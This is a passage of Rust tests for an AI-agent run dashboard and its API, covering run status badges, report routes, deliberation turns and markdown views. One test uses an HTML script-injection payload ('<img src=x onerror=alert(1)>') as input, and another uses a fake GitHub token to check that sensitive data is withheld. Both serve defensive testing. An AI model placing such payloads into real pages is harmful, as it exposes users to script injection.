17748 let states = vec![
17749 mk("20260902-140502-aaaa", Some(77)),
17750 mk("20260902-140502-bbbb", Some(77)),
17751 mk("20260902-140502-cccc", Some(77)),
17752 mk("20260902-140502-dddd", None),
17753 ];
17754 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17755 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17756 let sup: HashMap<String, String> = [(
17757 "20260902-140502-aaaa".to_owned(),
17758 "20260902-140502-cccc".to_owned(),
17759 )]
17760 .into();
17761
17762 let status_calls = std::cell::Cell::new(0);
17763 let identity_calls = std::cell::Cell::new(0);
17764 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17765 |_| {
17766 status_calls.set(status_calls.get() + 1);
17767 Some(true)
17768 },
17769 |_| {
17770 identity_calls.set(identity_calls.get() + 1);
17771 Some("1790000000".to_owned())
17772 },
17773 ));
17774 let rows = summarize(
17775 states,
17776 &open,
17777 &claimed,
17778 &sup,
17779 |p| probe.borrow_mut().status(p),
17780 |p| probe.borrow_mut().started_at(p),
17781 );
17782
17783 assert_eq!(status_calls.get(), 1, "one pid, one status query");
17784 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17785 assert_eq!(rows.len(), 4);
17786 assert!(!rows[0].waiting && rows[1].waiting);
17787 assert_eq!(rows[0].live, crate::run::Liveness::Live);
17788 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17789 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17790 assert_eq!(rows[1].superseded_by, None);
17791 }
17792
17793 #[test]
17794 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17795 let mut state = RunState::new(
17796 PathBuf::from("/repo/magi"),
17797 "main".to_owned(),
17798 "0123456789abcdef".to_owned(),
17799 "Review only".to_owned(),
17800 Config::default(),
17801 );
17802 state.id = "20260922-090200-dead".to_owned();
17803 state.status = RunStatus::Reviewing;
17804 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17805 .expect("serialize list row");
17806 assert_eq!(row["status"], "reviewing");
17807 assert_eq!(row["display_status"], "stale");
17808 assert_eq!(row["live"], "dead", "{row}");
17809 assert!(!row["done"].as_bool().unwrap());
17810 }
17811
17812 #[test]
17813 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17814 use crate::run::Liveness::{Dead, Live, Unknown};
17815 let mut state = RunState::new(
17816 PathBuf::from("/repo/magi"),
17817 "main".to_owned(),
17818 "abc".to_owned(),
17819 "Review only".to_owned(),
17820 Config::default(),
17821 );
17822 for (status, parked, node, waiting, live, expected) in [
17823 (
17824 RunStatus::Judging,
17825 true,
17826 "github-text",
17827 false,
17828 Dead,
17829 "parked",
17830 ),
17831 (RunStatus::Judging, false, "park", false, Dead, "stale"),
17832 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17833 (
17834 RunStatus::Judging,
17835 true,
17836 "github-text",
17837 true,
17838 Dead,
17839 "waiting",
17840 ),
17841 (
17842 RunStatus::Judging,
17843 false,
17844 "github-text",
17845 true,
17846 Dead,
17847 "waiting",
17848 ),
17849 (
17850 RunStatus::Judging,
17851 false,
17852 "github-text",
17853 false,
17854 Dead,
17855 "stale",
17856 ),
17857 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17858 (RunStatus::Judging, true, "park", false, Live, "judging"),
17859 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17860 (RunStatus::Merged, true, "park", false, Dead, "merged"),
17861 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17862 (
17863 RunStatus::Blocked,
17864 true,
17865 "github-text",
17866 true,
17867 Dead,
17868 "waiting",
17869 ),
17870 ] {
17871 state.status = status;
17872 state.parked = parked;
17873 state.events.clear();
17874 state.event(
17875 "park",
17876 "an earlier park does not determine the latest state",
17877 );
17878 state.event(node, "message is not used for classification");
17879 let summary = RunSummary::of(&state, waiting, live);
17880 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17881 assert_eq!(
17882 summary.display_status, expected,
17883 "{status:?}/{node}/{live:?}"
17884 );
17885 assert_eq!(detail.display_status, summary.display_status);
17886 assert_eq!(detail.waiting, summary.waiting);
17887 }
17888 state.status = RunStatus::Judging;
17889 state.parked = false;
17890 state.events.clear();
17891 assert_eq!(run_display_status(&state, false, Dead), "stale");
17892 }
17893
17894 #[test]
17895 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17896 use crate::run::Liveness::{Dead, Live, Unknown};
17897 let mut state = RunState::new(
17898 PathBuf::from("/repo/magi"),
17899 "main".to_owned(),
17900 "abc".to_owned(),
17901 "Badge".to_owned(),
17902 Config::default(),
17903 );
17904 for (status, waiting, live, superseded, expected) in [
17905 (RunStatus::Gating, false, Dead, false, "stale"),
17906 (RunStatus::Gating, false, Dead, true, "superseded"),
17907 (RunStatus::Gating, false, Unknown, true, "superseded"),
17908 (RunStatus::Gating, true, Dead, true, "superseded"),
17909 (RunStatus::Gating, true, Dead, false, "waiting"),
17910 (RunStatus::Gating, false, Unknown, false, "gating"),
17911 (RunStatus::Gating, false, Live, true, "gating"),
17912 (RunStatus::Gating, true, Live, true, "waiting"),
17913 (RunStatus::Merged, false, Dead, true, "merged"),
17914 (RunStatus::Blocked, false, Dead, true, "blocked"),
17915 ] {
17916 state.status = status;
17917 let display = run_display_status(&state, waiting, live);
17918 assert_eq!(
17919 run_badge_status(&state, &display, live, superseded),
17920 expected,
17921 "{status:?}/{live:?}/superseded={superseded}"
17922 );
17923 }
17924 }
17925
17926 #[test]
17927 fn summarize_and_detail_expose_badge_status() {
17928 use crate::run::Liveness::Dead;
17929 let mut state = RunState::new(
17930 PathBuf::from("/repo/magi"),
17931 "main".to_owned(),
17932 "abc".to_owned(),
17933 "Badge".to_owned(),
17934 Config::default(),
17935 );
17936 state.status = RunStatus::Gating;
17937 let none = HashSet::new();
17938 let id = state.id.clone();
17939 let mut by = HashMap::new();
17940 let rows = summarize(
17941 [state.clone()],
17942 &none,
17943 &none,
17944 &by,
17945 |_| Some(false),
17946 |_| None,
17947 );
17948 assert_eq!(rows[0].badge_status, rows[0].display_status);
17950 by.insert(id, "20260901-000000-913b".to_owned());
17951 let detail = RunDetailView::of(
17952 state.clone(),
17953 false,
17954 Dead,
17955 Some("913b".to_owned()),
17956 None,
17957 None,
17958 );
17959 assert_eq!(detail.badge_status, "superseded");
17960 let json = serde_json::to_value(&detail).unwrap();
17961 assert_eq!(json["badge_status"], "superseded");
17962 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17963 assert_eq!(detail.badge_status, "stale");
17964 }
17965
17966 #[tokio::test]
17967 async fn run_display_status_routes_share_the_open_question_store() {
17968 let f = Fixture::start().await;
17969 let id = "20260922-090200-abcd";
17970 write_run(&f.runs(), id, RunStatus::Judging);
17971 let mut state = read_run(&f.runs(), id).unwrap();
17972 state.parked = true;
17973 state.driver_exited = true;
17974 state.event("github-text", "waiting for the owner");
17975 state.save_under(f.home.path()).unwrap();
17976 let mut task = Task::new(
17977 "resumed task".to_owned(),
17978 "do it".to_owned(),
17979 PathBuf::from("/repo"),
17980 Source::Human,
17981 );
17982 task.runs = vec![id.to_owned(), id.to_owned()];
17983 f.queue().put(&mut task).unwrap();
17984 let store = f.questions();
17985 let mut q = Question::new(
17986 id.to_owned(),
17987 "github-text".to_owned(),
17988 "owner".to_owned(),
17989 "Approve the text?".to_owned(),
17990 String::new(),
17991 Vec::new(),
17992 );
17993 store.put(&mut q).unwrap();
17994 for expected in ["waiting", "parked"] {
17995 let list = f.get("/api/runs").await.json();
17996 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17997 assert_eq!(list[0]["display_status"], expected);
17998 assert_eq!(detail["display_status"], expected);
17999 assert_eq!(detail["waiting"], list[0]["waiting"]);
18000 assert_eq!(list[0]["badge_status"], expected);
18001 assert_eq!(detail["badge_status"], expected);
18002 assert!(list[0]["superseded_by"].is_null());
18003 assert!(detail["superseded_by"].is_null());
18004 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18005 let history = task_detail["history"].as_array().unwrap();
18006 assert_eq!(history.len(), 2);
18007 assert!(history[0]["badge"].is_null());
18008 assert_eq!(history[1]["badge"], expected);
18009 q.status = ask::QuestionStatus::Answered;
18010 store.put(&mut q).unwrap();
18011 }
18012 }
18013
18014 #[tokio::test]
18015 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18016 let f = Fixture::start().await;
18017 let id = "20260922-090200-abcd";
18018 write_run(&f.runs(), id, RunStatus::Judging);
18019 let mut state = read_run(&f.runs(), id).unwrap();
18020 state.parked = true;
18021 state.driver_exited = true;
18022 state.event("park", "stopped at a node boundary");
18023 state.save_under(f.home.path()).unwrap();
18024
18025 for expected in ["parked", "stale"] {
18026 let list = f.get("/api/runs").await.json();
18027 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18028 assert_eq!(list[0]["live"], "dead");
18029 assert_eq!(list[0]["display_status"], expected);
18030 assert_eq!(detail["display_status"], expected);
18031 state.parked = false;
18034 state.save_under(f.home.path()).unwrap();
18035 }
18036 }
18037
18038 #[tokio::test]
18039 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18040 let f = Fixture::start().await;
18041 for id in [
18042 "20260902-140501-aaaa",
18043 "20260902-140502-bbbb",
18044 "20260902-140503-cccc",
18045 ] {
18046 write_run(&f.runs(), id, RunStatus::Merged);
18047 }
18048
18049 let all = f.get("/api/runs").await.json();
18050 let capped = f.get("/api/runs?limit=2").await.json();
18051
18052 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18053 assert_eq!(all.as_array().map(Vec::len), Some(3));
18054 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18055 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18056 }
18057
18058 #[tokio::test]
18059 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18060 let f = Fixture::start().await;
18061 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18062
18063 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18064
18065 assert_eq!(res.status, 200);
18066 assert!(
18067 res.headers
18068 .contains("content-type: text/plain; charset=utf-8"),
18069 "a browser must render it, not download it: {}",
18070 res.headers
18071 );
18072 assert!(
18076 res.body.contains("20260902-140501-a1b2"),
18077 "the report is about the run that was asked for: {}",
18078 res.body
18079 );
18080 }
18081
18082 #[tokio::test]
18083 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18084 crate::run::pin_test_home();
18086 let f = Fixture::start().await;
18087 let id = "20260902-140501-a1b2";
18088 write_run(&f.runs(), id, RunStatus::Stalled);
18089 let path = f.runs().join(id).join("run.json");
18092 let mut v: serde_json::Value =
18093 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18094 v["tally"] = serde_json::json!({
18095 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18096 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18097 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18098 "met_quorum": false, "rankings": 1
18099 });
18100 v["reviews"] = serde_json::json!([{
18101 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18102 "e2e_deferred": true,
18103 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18104 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18105 ]}]
18106 }]);
18107 std::fs::write(&path, v.to_string()).unwrap();
18108 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18109 std::fs::write(
18110 f.runs().join("20260902-140502-dead").join("run.json"),
18111 "{not json",
18112 )
18113 .unwrap();
18114
18115 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18116
18117 assert_eq!(res.status, 200, "{}", res.body);
18118 assert!(res.headers.contains("content-type: application/json"));
18119 let j = res.json();
18120 assert_eq!(j["schema"], 1);
18121 assert_eq!(j["header"]["id"], id);
18122 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18123 let kinds: Vec<&str> = j["sections"]
18124 .as_array()
18125 .unwrap()
18126 .iter()
18127 .map(|s| s["kind"].as_str().unwrap())
18128 .collect();
18129 assert_eq!(kinds, ["candidates", "tally", "review"]);
18130 let tally = &j["sections"][1]["tally"];
18131 assert_eq!(
18132 (tally["decided"].clone(), tally["provisional"].clone()),
18133 (false.into(), true.into())
18134 );
18135 let round = &j["sections"][2]["rounds"][0];
18136 assert_eq!(round["e2e"]["state"], "deferred");
18137 assert_eq!(round["findings"][0]["severity"], "major");
18138 assert_eq!(round["findings"][0]["blocking"], true);
18139 assert_eq!(round["findings"][0]["state"], "open");
18140
18141 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
18143
18144 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
18146 assert_ne!(bad.status, 200, "{}", bad.body);
18147 assert_eq!(
18148 bad.status,
18149 f.get("/api/runs/20260902-140502-dead/report").await.status
18150 );
18151 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
18152 assert_eq!(
18153 f.get("/api/runs/20260902-999999-ffff/report.json")
18154 .await
18155 .status,
18156 404
18157 );
18158 }
18159
18160 #[tokio::test]
18161 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
18162 crate::run::pin_test_home();
18163 let f = Fixture::start().await;
18164 let id = "20260902-140503-delib";
18165 write_run(&f.runs(), id, RunStatus::Merged);
18166 let path = f.runs().join(id).join("run.json");
18167 let mut v: serde_json::Value =
18168 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18169 v["judgements"] = serde_json::json!([
18170 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18171 ]);
18172 v["tally"] = serde_json::json!({
18173 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18174 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
18175 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
18176 "met_quorum": true, "rankings": 1
18177 });
18178 v["deliberation"] = serde_json::json!([
18179 {
18180 "round": 1,
18181 "turns": [
18182 {
18183 "judge": 1,
18184 "agent": "judge-1",
18185 "body": "I prefer candidate **A** because it has cleaner tests.",
18186 "tentative": "A"
18187 }
18188 ]
18189 },
18190 {
18191 "round": 2,
18192 "turns": [
18193 {
18194 "judge": 1,
18195 "agent": "judge-1",
18196 "body": "Still thinking, no choice yet.",
18197 "tentative": null
18198 }
18199 ]
18200 }
18201 ]);
18202 std::fs::write(&path, v.to_string()).unwrap();
18203
18204 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18205 assert_eq!(res.status, 200, "{}", res.body);
18206 let j = res.json();
18207 let judging = j["sections"]
18208 .as_array()
18209 .unwrap()
18210 .iter()
18211 .find(|s| s["kind"] == "judging")
18212 .expect("judging section exists");
18213
18214 let delib_lines = judging["deliberation"].as_array().unwrap();
18216 assert_eq!(delib_lines.len(), 2);
18217 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
18218 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
18219
18220 let rounds = judging["rounds"].as_array().unwrap();
18222 assert_eq!(rounds.len(), 2);
18223 let r1_t0 = &rounds[0]["turns"][0];
18224 assert_eq!(r1_t0["judge"], 1);
18225 assert_eq!(r1_t0["agent"], "judge-1");
18226 assert_eq!(r1_t0["tentative"], "A");
18227 assert_eq!(
18228 r1_t0["body"],
18229 "I prefer candidate **A** because it has cleaner tests."
18230 );
18231 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
18232
18233 let r2_t0 = &rounds[1]["turns"][0];
18234 assert_eq!(r2_t0["judge"], 1);
18235 assert_eq!(r2_t0["agent"], "judge-1");
18236 assert!(r2_t0["tentative"].is_null());
18237 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
18238 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
18239
18240 let id_empty = "20260902-140504-nodelib";
18242 write_run(&f.runs(), id_empty, RunStatus::Merged);
18243 let path_empty = f.runs().join(id_empty).join("run.json");
18244 let mut v_empty: serde_json::Value =
18245 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
18246 v_empty["judgements"] = serde_json::json!([
18247 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18248 ]);
18249 v_empty["deliberation"] = serde_json::json!([]);
18250 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
18251
18252 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
18253 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
18254 let j_empty = res_empty.json();
18255 let judging_empty = j_empty["sections"]
18256 .as_array()
18257 .unwrap()
18258 .iter()
18259 .find(|s| s["kind"] == "judging")
18260 .expect("judging section exists");
18261 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
18262 }
18263
18264 #[tokio::test]
18265 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
18266 let f = Fixture::start().await;
18267
18268 let html = f.get("/").await;
18269 let css = f.get("/app.css").await;
18270 let js = f.get("/app.js").await;
18271
18272 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
18273 assert!(
18274 html.headers
18275 .contains("content-type: text/html; charset=utf-8")
18276 );
18277 assert!(css.headers.contains("content-type: text/css"));
18278 assert!(js.headers.contains("content-type: text/javascript"));
18279 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
18280 }
18281
18282 #[test]
18283 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
18284 let body = |name: &str| {
18285 let at = APP_JS
18286 .find(name)
18287 .unwrap_or_else(|| panic!("{name} missing"));
18288 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18289 };
18290 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
18291 let note = body("function landRoundNote");
18292 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
18293 assert!(note.contains("Land round ${round}"));
18294 let land = body("function renderLand");
18295 let note_at = land
18296 .find("landRoundNote(pr)")
18297 .expect("renderLand uses the note");
18298 assert!(
18299 note_at
18300 < land
18301 .find("roundRail(pr)")
18302 .expect("renderLand uses the rail")
18303 );
18304 }
18305
18306 #[test]
18307 fn the_runs_page_redesign_keeps_its_guards() {
18308 let body = |name: &str| {
18309 let at = APP_JS
18310 .find(name)
18311 .unwrap_or_else(|| panic!("{name} missing"));
18312 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18313 };
18314 let land = body("function renderLand");
18316 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
18317 assert!(
18318 !land.contains("box.append("),
18319 "renderLand must use append()"
18320 );
18321 assert!(land.contains("append(box, ["));
18322 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
18324 assert!(
18325 body("function applyRoute")
18326 .contains("route.name !== state.route.name || route.id !== state.route.id")
18327 );
18328 assert!(!APP_JS.contains("adviseConvergeDiagram"));
18330 assert!(!INDEX_HTML.contains("advise-converge"));
18331 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
18332 assert!(APP_JS.contains("provisional"));
18333 for id in [
18334 "run-tab-overview",
18335 "run-tab-timeline",
18336 "run-tab-report",
18337 "run-report",
18338 "runs-scope",
18339 ] {
18340 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
18341 }
18342 assert!(!INDEX_HTML.contains("runs-tree"));
18343 assert!(!INDEX_HTML.contains("run-raw-panel"));
18344 assert!(APP_JS.contains("resume"));
18346 assert!(APP_JS.contains("unreadable"));
18348 }
18349
18350 #[test]
18351 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
18352 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
18353 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
18354 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
18355 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
18356 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
18357 assert!(APP_JS.contains("unreadable` : null"));
18359 }
18360
18361 #[test]
18362 fn blocked_run_detail_exposes_the_failed_gate_reason() {
18363 let mut state = RunState::new(
18364 "/repo".into(),
18365 "main".into(),
18366 "abc".into(),
18367 "task".into(),
18368 crate::config::Config::default(),
18369 );
18370 state.status = RunStatus::Blocked;
18371 state.gate_ran = true;
18372 state.gate.push(crate::run::CommandOutcome {
18373 command: "cargo make check".into(),
18374 code: Some(1),
18375 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
18376 duration_ms: 0,
18377 resource_blocked: false,
18378 });
18379 let view = RunDetailView::of(
18380 state,
18381 false,
18382 crate::run::Liveness::Unknown,
18383 None,
18384 None,
18385 None,
18386 );
18387 let value = serde_json::to_value(view).unwrap();
18388 assert_eq!(
18389 value["stop_reason"],
18390 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
18391 );
18392 }
18393
18394 #[test]
18395 fn the_run_detail_payload_says_whether_the_run_is_done() {
18396 for (status, done) in [
18398 (RunStatus::Superseded, true),
18399 (RunStatus::Blocked, true),
18400 (RunStatus::Landing, false),
18401 ] {
18402 let mut state = RunState::new(
18403 std::path::PathBuf::from("/repo"),
18404 "main".to_owned(),
18405 "abc".to_owned(),
18406 "x".to_owned(),
18407 crate::config::Config::default(),
18408 );
18409 state.status = status;
18410 let v = serde_json::to_value(RunDetailView::of(
18411 state,
18412 false,
18413 crate::run::Liveness::Unknown,
18414 None,
18415 None,
18416 None,
18417 ))
18418 .unwrap();
18419 assert_eq!(v["done"], done, "{status:?}");
18420 }
18421 }
18422
18423 fn has_strong(nodes: &[md::Node]) -> bool {
18425 serde_json::to_string(nodes).unwrap().contains("strong")
18426 }
18427
18428 #[test]
18429 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
18430 let mut state = RunState::new(
18431 std::path::PathBuf::from("/repo"),
18432 "main".to_owned(),
18433 "abc".to_owned(),
18434 "x".to_owned(),
18435 crate::config::Config::default(),
18436 );
18437 let proposal = |approach: &str| {
18438 serde_json::json!({
18439 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
18440 })
18441 };
18442 state.advice = Some(
18443 serde_json::from_value(serde_json::json!({
18444 "records": [
18445 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
18446 "proposal": proposal("do **this**")},
18447 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
18448 ],
18449 "synthesis": "- one\n- **two**\n\n`code`",
18450 }))
18451 .unwrap(),
18452 );
18453 state.candidates = serde_json::from_value(serde_json::json!([
18454 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
18455 "summary": "did **it**"},
18456 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
18457 ]))
18458 .unwrap();
18459 state.reviews = serde_json::from_value(serde_json::json!([{
18462 "round": 1, "head": "h",
18463 "reviews": [{
18464 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
18465 "findings": [
18466 {"severity": "nit", "title": "t1", "detail": "plain nit"},
18467 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
18468 ],
18469 }],
18470 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
18471 "fix": {"agent": "a", "notes": "fixed **it**",
18472 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
18473 }, {"round": 2, "head": "h2", "reviews": []}]))
18474 .unwrap();
18475
18476 let v = serde_json::to_value(RunDetailView::of(
18477 state,
18478 false,
18479 crate::run::Liveness::Unknown,
18480 None,
18481 None,
18482 None,
18483 ))
18484 .unwrap();
18485
18486 let strong = |p: &str| {
18487 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
18488 assert!(n.to_string().contains("strong"), "{p}: {n}");
18489 };
18490 strong("/advice_md/synthesis");
18491 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
18492 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
18493 strong("/advice_md/approaches/0");
18494 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
18495 strong("/candidate_summaries_md/0");
18496 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
18497 strong("/reviews_md/0/reviewers/0/summary");
18498 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
18499 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
18500 assert!(f[1].to_string().contains("strong"));
18501 strong("/reviews_md/0/reconsideration/0");
18502 strong("/reviews_md/0/fix/notes");
18503 strong("/reviews_md/0/fix/rejected/0");
18504 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
18505 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
18506 assert_eq!(v["candidates"][0]["summary"], "did **it**");
18508 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
18509 }
18510
18511 #[test]
18512 fn a_run_without_advice_has_no_advice_md() {
18513 let state = RunState::new(
18514 std::path::PathBuf::from("/repo"),
18515 "main".to_owned(),
18516 "abc".to_owned(),
18517 "x".to_owned(),
18518 crate::config::Config::default(),
18519 );
18520 let p = run_prose_md(&state);
18521 assert!(p.advice_md.is_none());
18522 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
18523 }
18524
18525 #[test]
18526 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
18527 let store = ask::Questions::at(PathBuf::from("unused"));
18528 let gt = crate::github_text::Withheld {
18529 title: false,
18530 body: true,
18531 categories: vec!["sensitive-data".into()],
18532 };
18533 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
18534 let (detail, comparison) =
18535 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18536 let mut q = Question::new(
18537 "r".into(),
18538 "github-text".into(),
18539 "posting-gate".into(),
18540 "s".into(),
18541 detail,
18542 Vec::new(),
18543 );
18544 assert!(
18545 QuestionView::of(q.clone(), &store, None)
18546 .posting_view
18547 .is_none()
18548 );
18549 q.posting_comparison = Some(comparison);
18550 let view = QuestionView::of(q.clone(), &store, None);
18551 let field = &view.posting_view.unwrap().fields[0];
18552 assert_eq!(
18553 field
18554 .original
18555 .iter()
18556 .map(|f| f.text.as_str())
18557 .collect::<String>(),
18558 body
18559 );
18560 assert!(field.original[0].text.starts_with("<img"));
18561 let original_question: Question =
18562 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18563 assert_eq!(original_question, q);
18564 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18565 .original
18566 .start = 1;
18567 assert!(
18568 QuestionView::of(q.clone(), &store, None)
18569 .posting_view
18570 .is_none()
18571 );
18572 q.posting_comparison = original_question.posting_comparison;
18573 q.detail.push_str("extra context");
18574 assert!(
18575 QuestionView::of(q.clone(), &store, None)
18576 .posting_view
18577 .is_some()
18578 );
18579 q.detail.insert(0, 'x');
18580 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18581 }
18582
18583 #[test]
18584 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18585 let store = ask::Questions::at(PathBuf::from("unused"));
18586 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18587 let gt = crate::github_text::Withheld::from_check(
18588 &crate::github_text::check("fix: x", body),
18589 "fix: x",
18590 body,
18591 )
18592 .unwrap();
18593 let (detail, comparison) =
18594 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18595 let mut q = Question::new(
18596 "r".into(),
18597 "github-text".into(),
18598 "posting-gate".into(),
18599 "s".into(),
18600 detail,
18601 Vec::new(),
18602 );
18603 q.posting_comparison = Some(comparison);
18604 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18605 let field = &value["posting_view"]["fields"][0];
18606 let group = &field["replacement_group"];
18607 let triggers = group["triggers"].as_array().unwrap();
18608 assert_eq!(triggers.len(), 2);
18609 assert_ne!(triggers[0], triggers[1]);
18610 for id in triggers {
18611 assert!(
18612 field["original"]
18613 .as_array()
18614 .unwrap()
18615 .iter()
18616 .any(|f| &f["pair"] == id)
18617 );
18618 assert!(
18619 !field["changed"]
18620 .as_array()
18621 .unwrap()
18622 .iter()
18623 .any(|f| &f["pair"] == id)
18624 );
18625 }
18626 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18627 group["id"].as_u64().unwrap() as usize;
18628 assert!(
18629 QuestionView::of(q, &store, None).posting_view.is_none(),
18630 "group and trigger IDs cannot collide"
18631 );
18632 }
18633
18634 #[test]
18635 fn a_question_view_carries_markdown_for_each_thread_turn() {
18636 let home = TempDir::new().unwrap();
18637 let store = ask::Questions::at(home.path().join("questions"));
18638 let mut q = Question::new(
18639 "run".to_owned(),
18640 "implement".to_owned(),
18641 "impl-A".to_owned(),
18642 "which?".to_owned(),
18643 String::new(),
18644 Vec::new(),
18645 );
18646 q.say("plain words").unwrap();
18647 q.reply("use **this**", Vec::new()).unwrap();
18648 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18649 let bodies = &v["thread_bodies_md"];
18650 assert_eq!(bodies.as_array().unwrap().len(), 2);
18651 assert!(!bodies[0].to_string().contains("strong"));
18652 assert!(bodies[1].to_string().contains("strong"));
18653 }
18654
18655 #[test]
18656 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18657 let home = TempDir::new().unwrap();
18658 let store = ask::Questions::at(home.path().join("questions"));
18659 let mut q = Question::new(
18660 "run".to_owned(),
18661 "conduct".to_owned(),
